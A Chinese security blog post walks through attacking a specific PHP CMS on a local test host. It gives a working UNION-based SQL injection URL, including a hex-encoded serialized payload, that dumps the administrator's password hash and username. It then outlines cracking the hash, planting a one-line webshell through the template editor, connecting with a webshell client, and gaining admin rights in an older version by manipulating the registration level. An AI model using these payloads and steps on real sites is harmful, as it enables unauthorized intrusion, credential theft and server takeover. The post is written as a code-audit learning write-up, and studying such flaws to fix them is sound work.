羊驼CMS 注入及getwebshell_Sine安全-网络安全背后的巨人,提供服务器安全_服务器维护

近在研究代码审计,便去chinaz 找了个人气比较高的 cms,本文适合我等刚入门滴人士

文档下载地址: http://115.com/file/e776qbw0#

Ue批量查了一下源码整个系统都在注入注入

额,单引号啊,还需要绕过,开gpc就惨了,然而,发现这个伟大的cms,竟然自动去除gpc …

			
							01
						
							// 去除Magic_Quotes
					
							02
						
							if(get_magic_quotes_gpc()) // Maybe would be removed in php6
					
							03
						
							04
						
							{
					
							05
						
							06
						
							function stripslashes_deep($value)5{
					
							07
						
							08
						
							$value = is_array($value) ? array_map('stripslashes_deep', $value) : (isset($value) ? stripslashes($value) : null);
					
							09
						
							10
						
							return $value;
					
							11
						
							12
						
							}
					
							13
						
							14
						
							$_POST = stripslashes_deep($_POST);
					
							15
						
							16
						
							$_GET = stripslashes_deep($_GET);
					
							17
						
							18
						
							11$_COOKIE = stripslashes_deep($_COOKIE);
					
							19
						
							20
						
							}

前台开始注射

http://127.0.0.1/coder/alpaca/index.php/page/18/

对应的sql语句为

			
							1
						
							select count(*) as a from `elem` where 1 and rel_id=’18′

当我们提交

`1`	`http://127.0.0.1/coder/alpaca/index.php/page/a’`

sql语句

			
							1
						
							select * from `elem` where 1 and lower(elem_name) = lower(‘a”)

这里是一个经典的联合查询本来还在想怎么绕过gpc的没想到自动去除鸟

直接提交

`1`	`http://127.0.0.1/coder/alpaca/index.php/page/a’) AND 1 =2 UNION SELECT 1 ,2,3, 4,5,6, 7, 8, 9,username,PASSWORD FROM user %23`

发现什么都木有

看源码 appvelempage.php 其实里面很多源码还是写的很巧妙的

			
							01
						
							if(!is_array($page)) show_404();
					
							02
						
							$pid = $page['id'];
					
							03
						
							if( $action == 'add' ) {
					
							04
						
							$this->add($pid);
					
							05
						
							return;
					
							06
						
							}
					
							07
						
							08
						
							$info = unserialize($page['elem_info']);
					
							09
						
							$meta = array(
					
							10
						
							'page_title' => isset($info['page_title'])&&$info['page_title']!=''?$info['page_title']:$page['title'],
					
							11
						
							'meta_keywords' => isset($info['meta_keywords'])&&$info['meta_keywords']!=''?$info['meta_keywords']:$page['title'],
					
							12
						
							'meta_description' => isset($info['meta_description'])&&$info['meta_description']!=''?$info['meta_description']:$page['title']
					
							13
						
							);
					
							14
						
							$param = array_merge($page , $info , $meta  );

需要一个$page['elem_info']那我就在六号位写一个仿照官方的 elem_info (十六进制)

得到 exp

1 http://127.0.0.1/coder/alpaca/index.php/page/a') AND 1 =2 UNION SELECT 18,PASSWORD ,'page',10,1,0x613A31353A7B733A353A226D6F64656C223B733A313A2238223B733A333A22706963223B733A37303A22687474703A2F2F79752E6232342F616C70616361332E312F757066696C652F696D6167652F32303132303432312F32303132303432313030303135315F34363936352E6A7067223B733A353A227072696365223B733A333A22333030223B733A373A22636F6E74656E74223B733A303A22223B733A31303A22706167655F7469746C65223B733A303A22223B733A31333A226D6574615F6B6579776F726473223B733A303A22223B733A31363A226D6574615F6465736372697074696F6E223B733A303A22223B733A383A2274656D706C617465223B733A313A2230223B733A363A226C61796F7574223B733A313A2239223B733A393A22706167655F73697A65223B733A323A223230223B733A31343A226368696C645F74656D706C617465223B733A313A2230223B733A31323A226368696C645F6C61796F7574223B733A313A2232223B733A31313A226368696C645F6D6F64656C223B733A313A2231223B733A31313A22757365725F62726F777365223B733A313A2230223B733A383A22757365725F616464223B733A323A223130223B7D, 7, "1334937721","1334937721", 10,11 FROM user %23/

成功爆出管理员密码

把上面的 password 改为 username 爆出管理员账号拿 shell

破解md5  进后台  模板写入一句话 拿他妈的shell    模板  直接写入一句话  (需要把修改的设为默认模板)

菜刀连接之

本来到这里就可以了但却意外发现一个狗血的东东仅供娱乐请看下文

******************************淫荡的分割线************************************

现在睁大您的钛合金狗眼,我们来看低版本的 2.x, 点击注册 www.91ri.org /user/reg/

Let me try

然后在登陆后台 www.xxx.com/admin

把级别调为20 注册就是管理员阁下是否感到菊花一紧了…

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